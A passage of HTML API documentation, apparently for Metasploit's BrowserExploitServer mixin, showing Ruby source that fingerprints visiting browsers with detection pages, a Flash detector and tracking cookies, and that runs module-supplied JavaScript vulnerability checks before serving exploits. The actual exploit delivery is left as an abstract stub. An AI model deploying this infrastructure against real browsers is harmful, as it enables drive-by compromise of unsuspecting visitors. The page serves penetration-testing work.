||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="has_proxy?-instance_method">
|
||
|
||
#<strong>has_proxy?</strong>(request) ⇒ <tt>Boolean</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Checks if the target is running a proxy</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>request</span>
|
||
|
||
|
||
<span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Proto/Http/Request.html" title="Rex::Proto::Http::Request (class)">Rex::Proto::Http::Request</a></span></tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The HTTP request sent by the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>Boolean</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>True if found, otherwise false</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
348
|
||
349
|
||
350
|
||
351</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 348</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_has_proxy?'>has_proxy?</span><span class='lparen'>(</span><span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_proxy_header_set'>proxy_header_set</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="#PROXY_REQUEST_HEADER_SET-constant" title="Msf::Exploit::Remote::BrowserExploitServer::PROXY_REQUEST_HEADER_SET (constant)">PROXY_REQUEST_HEADER_SET</a></span></span> <span class='op'>&</span> <span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='period'>.</span><span class='id identifier rubyid_keys'>keys</span>
|
||
<span class='op'>!</span><span class='id identifier rubyid_proxy_header_set'>proxy_header_set</span><span class='period'>.</span><span class='id identifier rubyid_empty?'>empty?</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="initialize-instance_method">
|
||
|
||
#<strong>initialize</strong>(info = {}) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
80
|
||
81
|
||
82
|
||
83
|
||
84
|
||
85
|
||
86
|
||
87
|
||
88
|
||
89
|
||
90
|
||
91
|
||
92
|
||
93
|
||
94
|
||
95
|
||
96
|
||
97
|
||
98
|
||
99
|
||
100
|
||
101
|
||
102
|
||
103
|
||
104</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 80</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_initialize'>initialize</span><span class='lparen'>(</span><span class='id identifier rubyid_info'>info</span><span class='op'>=</span><span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
<span class='kw'>super</span>
|
||
|
||
<span class='comment'># The mixin keeps 'target' handy so module doesn't lose it.
|
||
</span> <span class='ivar'>@target</span> <span class='op'>=</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_respond_to?'>respond_to?</span><span class='lparen'>(</span><span class='symbol'>:target</span><span class='rparen'>)</span> <span class='op'>?</span> <span class='id identifier rubyid_target'>target</span> <span class='op'>:</span> <span class='kw'>nil</span>
|
||
|
||
<span class='comment'># Requirements are conditions that the browser must have in order to be exploited.
|
||
</span> <span class='ivar'>@requirements</span> <span class='op'>=</span> <span class='id identifier rubyid_extract_requirements'>extract_requirements</span><span class='lparen'>(</span><span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_module_info'>module_info</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>BrowserRequirements</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='lbrace'>{</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
|
||
<span class='ivar'>@info_receiver_page</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span>
|
||
<span class='ivar'>@exploit_receiver_page</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>6</span><span class='rparen'>)</span>
|
||
<span class='ivar'>@noscript_receiver_page</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>7</span><span class='rparen'>)</span>
|
||
<span class='ivar'>@flash_swf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='embexpr_beg'>#{</span><span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='int'>9</span><span class='rparen'>)</span><span class='embexpr_end'>}</span><span class='tstring_content'>.swf</span><span class='tstring_end'>"</span></span>
|
||
|
||
<span class='id identifier rubyid_register_options'>register_options</span><span class='lparen'>(</span>
|
||
<span class='lbracket'>[</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptBool.html" title="Msf::OptBool (class)">OptBool</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptBool.html#initialize-instance_method" title="Msf::OptBool#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Retries</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Allow the browser to retry the module</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='kw'>true</span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="" title="Msf::Exploit::Remote::BrowserExploitServer (module)">BrowserExploitServer</a></span></span><span class='rparen'>)</span>
|
||
|
||
<span class='id identifier rubyid_register_advanced_options'>register_advanced_options</span><span class='lparen'>(</span><span class='lbracket'>[</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CookieName</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>The name of the tracking cookie</span><span class='tstring_end'>"</span></span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="#DEFAULT_COOKIE_NAME-constant" title="Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME (constant)">DEFAULT_COOKIE_NAME</a></span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>CookieExpiration</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Cookie expiration in years (blank=expire on exit)</span><span class='tstring_end'>"</span></span><span class='rbracket'>]</span><span class='rparen'>)</span><span class='comma'>,</span>
|
||
<span class='const'><span class='object_link'><a href="../../OptString.html" title="Msf::OptString (class)">OptString</a></span></span><span class='period'>.</span><span class='id identifier rubyid_new'><span class='object_link'><a href="../../OptString.html#initialize-instance_method" title="Msf::OptString#initialize (method)">new</a></span></span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Custom404</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbracket'>[</span><span class='kw'>false</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>An external custom 404 URL (Example: http://example.com/404.html)</span><span class='tstring_end'>"</span></span><span class='rbracket'>]</span><span class='rparen'>)</span>
|
||
<span class='rbracket'>]</span><span class='comma'>,</span> <span class='const'><span class='object_link'><a href="../../Exploit.html" title="Msf::Exploit (class)">Exploit</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../Remote.html" title="Msf::Exploit::Remote (class)">Remote</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="" title="Msf::Exploit::Remote::BrowserExploitServer (module)">BrowserExploitServer</a></span></span><span class='rparen'>)</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="js_vuln_test-instance_method">
|
||
|
||
#<strong>js_vuln_test</strong> ⇒ <tt>String</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Returns custom Javascript to check if a vulnerability is present.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
|
||
<p class="tag_title">Returns:</p>
|
||
<ul class="return">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>String</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>custom Javascript to check if a vulnerability is present</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
682
|
||
683
|
||
684
|
||
685
|
||
686
|
||
687
|
||
688
|
||
689
|
||
690</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 682</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_js_vuln_test'>js_vuln_test</span>
|
||
<span class='id identifier rubyid_all_reqs'>all_reqs</span> <span class='op'>=</span> <span class='kw'>self</span><span class='period'>.</span><span class='id identifier rubyid_module_info'>module_info</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>BrowserRequirements</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||
<span class='kw'>if</span> <span class='id identifier rubyid_all_reqs'>all_reqs</span><span class='lbracket'>[</span><span class='symbol'>:vuln_test</span><span class='rbracket'>]</span><span class='period'>.</span><span class='id identifier rubyid_present?'>present?</span>
|
||
<span class='id identifier rubyid_code'>code</span> <span class='op'>=</span> <span class='id identifier rubyid_all_reqs'>all_reqs</span><span class='lbracket'>[</span><span class='symbol'>:vuln_test</span><span class='rbracket'>]</span> <span class='op'>+</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>;return !!this.is_vuln;</span><span class='tstring_end'>'</span></span>
|
||
<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Function((</span><span class='tstring_end'>'</span></span><span class='op'>+</span><span class='const'>JSON</span><span class='period'>.</span><span class='id identifier rubyid_generate'>generate</span><span class='lparen'>(</span><span class='symbol'>:code</span> <span class='op'>=></span> <span class='id identifier rubyid_code'>code</span><span class='rparen'>)</span><span class='op'>+</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>).code)()</span><span class='tstring_end'>'</span></span>
|
||
<span class='kw'>else</span>
|
||
<span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>true</span><span class='tstring_end'>'</span></span>
|
||
<span class='kw'>end</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="load_swf_detection-instance_method">
|
||
|
||
#<strong>load_swf_detection</strong> ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
529
|
||
530
|
||
531
|
||
532
|
||
533
|
||
534</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 529</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_load_swf_detection'>load_swf_detection</span>
|
||
<span class='id identifier rubyid_path'>path</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'>File</span><span class='period'>.</span><span class='id identifier rubyid_join'>join</span><span class='lparen'>(</span><span class='const'><span class='object_link'><a href="../../../Msf.html" title="Msf (module)">Msf</a></span></span><span class='op'>::</span><span class='const'><span class='object_link'><a href="../../Config.html" title="Msf::Config (class)">Config</a></span></span><span class='period'>.</span><span class='id identifier rubyid_data_directory'><span class='object_link'><a href="../../Config.html#data_directory-class_method" title="Msf::Config.data_directory (method)">data_directory</a></span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>flash_detector</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>flashdetector.swf</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_swf'>swf</span> <span class='op'>=</span> <span class='op'>::</span><span class='const'>File</span><span class='period'>.</span><span class='id identifier rubyid_open'>open</span><span class='lparen'>(</span><span class='id identifier rubyid_path'>path</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>rb</span><span class='tstring_end'>'</span></span><span class='rparen'>)</span> <span class='lbrace'>{</span> <span class='op'>|</span><span class='id identifier rubyid_f'>f</span><span class='op'>|</span> <span class='id identifier rubyid_swf'>swf</span> <span class='op'>=</span> <span class='id identifier rubyid_f'>f</span><span class='period'>.</span><span class='id identifier rubyid_read'>read</span> <span class='rbrace'>}</span>
|
||
|
||
<span class='id identifier rubyid_swf'>swf</span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="on_request_exploit-instance_method">
|
||
|
||
#<strong>on_request_exploit</strong>(cli, request, browser_info) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Overriding method. The module should override this.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>cli</span>
|
||
|
||
|
||
<span class='type'>(<tt>Socket</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Socket for the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>request</span>
|
||
|
||
|
||
<span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Proto/Http/Request.html" title="Rex::Proto::Http::Request (class)">Rex::Proto::Http::Request</a></span></tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The HTTP request sent by the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>browser_info</span>
|
||
|
||
|
||
<span class='type'>(<tt>Hash</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The target profile</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
<p class="tag_title">Raises:</p>
|
||
<ul class="raise">
|
||
|
||
<li>
|
||
|
||
|
||
<span class='type'>(<tt>NoMethodError</tt>)</span>
|
||
|
||
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
632
|
||
633
|
||
634</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 632</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_on_request_exploit'>on_request_exploit</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='comma'>,</span> <span class='id identifier rubyid_browser_info'>browser_info</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_raise'>raise</span> <span class='const'>NoMethodError</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Module must define its own on_request_exploit method</span><span class='tstring_end'>"</span></span>
|
||
<span class='kw'>end</span></pre>
|
||
</td>
|
||
</tr>
|
||
</table>
|
||
</div>
|
||
|
||
<div class="method_details ">
|
||
<h3 class="signature " id="on_request_uri-instance_method">
|
||
|
||
#<strong>on_request_uri</strong>(cli, request) ⇒ <tt>Object</tt>
|
||
|
||
|
||
|
||
|
||
|
||
</h3><div class="docstring">
|
||
<div class="discussion">
|
||
|
||
<p>Handles exploit stages.</p>
|
||
|
||
|
||
</div>
|
||
</div>
|
||
<div class="tags">
|
||
<p class="tag_title">Parameters:</p>
|
||
<ul class="param">
|
||
|
||
<li>
|
||
|
||
<span class='name'>cli</span>
|
||
|
||
|
||
<span class='type'>(<tt>Socket</tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>Socket for the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
<li>
|
||
|
||
<span class='name'>request</span>
|
||
|
||
|
||
<span class='type'>(<tt><span class='object_link'><a href="../../../Rex/Proto/Http/Request.html" title="Rex::Proto::Http::Request (class)">Rex::Proto::Http::Request</a></span></tt>)</span>
|
||
|
||
|
||
|
||
—
|
||
<div class='inline'>
|
||
<p>The HTTP request sent by the browser</p>
|
||
</div>
|
||
|
||
</li>
|
||
|
||
</ul>
|
||
|
||
|
||
</div><table class="source_code">
|
||
<tr>
|
||
<td>
|
||
<pre class="lines">
|
||
|
||
|
||
541
|
||
542
|
||
543
|
||
544
|
||
545
|
||
546
|
||
547
|
||
548
|
||
549
|
||
550
|
||
551
|
||
552
|
||
553
|
||
554
|
||
555
|
||
556
|
||
557
|
||
558
|
||
559
|
||
560
|
||
561
|
||
562
|
||
563
|
||
564
|
||
565
|
||
566
|
||
567
|
||
568
|
||
569
|
||
570
|
||
571
|
||
572
|
||
573
|
||
574
|
||
575
|
||
576
|
||
577
|
||
578
|
||
579
|
||
580
|
||
581
|
||
582
|
||
583
|
||
584
|
||
585
|
||
586
|
||
587
|
||
588
|
||
589
|
||
590
|
||
591
|
||
592
|
||
593
|
||
594
|
||
595
|
||
596
|
||
597
|
||
598
|
||
599
|
||
600
|
||
601
|
||
602
|
||
603
|
||
604
|
||
605
|
||
606
|
||
607
|
||
608
|
||
609
|
||
610
|
||
611
|
||
612
|
||
613
|
||
614
|
||
615
|
||
616
|
||
617
|
||
618
|
||
619
|
||
620
|
||
621
|
||
622
|
||
623
|
||
624</pre>
|
||
</td>
|
||
<td>
|
||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/remote/browser_exploit_server.rb', line 541</span>
|
||
|
||
<span class='kw'>def</span> <span class='id identifier rubyid_on_request_uri'>on_request_uri</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='kw'>case</span> <span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_uri'>uri</span>
|
||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>/</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='id identifier rubyid_get_resource'>get_resource</span><span class='period'>.</span><span class='id identifier rubyid_chomp'>chomp</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='comment'>#
|
||
</span> <span class='comment'># This is the information gathering stage
|
||
</span> <span class='comment'>#
|
||
</span> <span class='kw'>if</span> <span class='id identifier rubyid_browser_profile'>browser_profile</span><span class='lbracket'>[</span><span class='id identifier rubyid_retrieve_tag'>retrieve_tag</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span><span class='rbracket'>]</span>
|
||
<span class='id identifier rubyid_send_redirect'>send_redirect</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_get_module_resource'>get_module_resource</span><span class='rparen'>)</span>
|
||
<span class='kw'>return</span>
|
||
<span class='kw'>end</span>
|
||
|
||
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Gathering target information for </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_tag'>tag</span> <span class='op'>=</span> <span class='const'><span class='object_link'><a href="../../../Rex.html" title="Rex (module)">Rex</a></span></span><span class='op'>::</span><span class='const'>Text</span><span class='period'>.</span><span class='id identifier rubyid_rand_text_alpha'>rand_text_alpha</span><span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>20</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>5</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_ua'>ua</span> <span class='op'>=</span> <span class='id identifier rubyid_request'>request</span><span class='period'>.</span><span class='id identifier rubyid_headers'>headers</span><span class='lbracket'>[</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>User-Agent</span><span class='tstring_end'>'</span></span><span class='rbracket'>]</span> <span class='op'>||</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||
<span class='id identifier rubyid_print_status'>print_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Sending HTML response to </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_html'>html</span> <span class='op'>=</span> <span class='id identifier rubyid_get_detection_html'>get_detection_html</span><span class='lparen'>(</span><span class='id identifier rubyid_ua'>ua</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_response'>send_response</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_html'>html</span><span class='comma'>,</span> <span class='lbrace'>{</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Set-Cookie</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_cookie_header'>cookie_header</span><span class='lparen'>(</span><span class='id identifier rubyid_tag'>tag</span><span class='rparen'>)</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
|
||
<span class='kw'>when</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@flash_swf</span><span class='embexpr_end'>}</span><span class='regexp_end'>/</span></span>
|
||
<span class='id identifier rubyid_vprint_status'>vprint_status</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Sending SWF used for Flash detection to </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_swf'>swf</span> <span class='op'>=</span> <span class='id identifier rubyid_load_swf_detection'>load_swf_detection</span>
|
||
<span class='id identifier rubyid_send_response'>send_response</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_swf'>swf</span><span class='comma'>,</span> <span class='lbrace'>{</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Content-Type</span><span class='tstring_end'>'</span></span><span class='op'>=></span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>application/x-shockwave-flash</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Cache-Control</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>no-cache, no-store</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Pragma</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>no-cache</span><span class='tstring_end'>'</span></span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
|
||
<span class='kw'>when</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@info_receiver_page</span><span class='embexpr_end'>}</span><span class='regexp_end'>/</span></span>
|
||
<span class='comment'>#
|
||
</span> <span class='comment'># The detection code will hit this if Javascript is enabled
|
||
</span> <span class='comment'>#
|
||
</span> <span class='id identifier rubyid_vprint_status'>vprint_status</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>Info receiver page called from </span><span class='embexpr_beg'>#{</span><span class='id identifier rubyid_cli'>cli</span><span class='period'>.</span><span class='id identifier rubyid_peerhost'>peerhost</span><span class='embexpr_end'>}</span><span class='tstring_end'>"</span></span>
|
||
<span class='id identifier rubyid_process_browser_info'>process_browser_info</span><span class='lparen'>(</span><span class='symbol'>:script</span><span class='comma'>,</span> <span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_response'>send_response</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span><span class='comma'>,</span> <span class='lbrace'>{</span><span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>Set-Cookie</span><span class='tstring_end'>'</span></span> <span class='op'>=></span> <span class='id identifier rubyid_cookie_header'>cookie_header</span><span class='lparen'>(</span><span class='id identifier rubyid_tag'>tag</span><span class='rparen'>)</span><span class='rbrace'>}</span><span class='rparen'>)</span>
|
||
|
||
<span class='kw'>when</span> <span class='tstring'><span class='regexp_beg'>/</span><span class='embexpr_beg'>#{</span><span class='ivar'>@noscript_receiver_page</span><span class='embexpr_end'>}</span><span class='regexp_end'>/</span></span>
|
||
<span class='comment'>#
|
||
</span> <span class='comment'># The detection code will hit this instead of Javascript is disabled
|
||
</span> <span class='comment'># Should only be triggered by the img src in <noscript>
|
||
</span> <span class='comment'>#
|
||
</span> <span class='id identifier rubyid_process_browser_info'>process_browser_info</span><span class='lparen'>(</span><span class='symbol'>:headers</span><span class='comma'>,</span> <span class='id identifier rubyid_cli'>cli</span><span class='comma'>,</span> <span class='id identifier rubyid_request'>request</span><span class='rparen'>)</span>
|
||
<span class='id identifier rubyid_send_not_found'>send_not_found</span><span class='lparen'>(</span><span class='id identifier rubyid_cli'>cli</span><span class='rparen'>)</span>
|
||
|
||
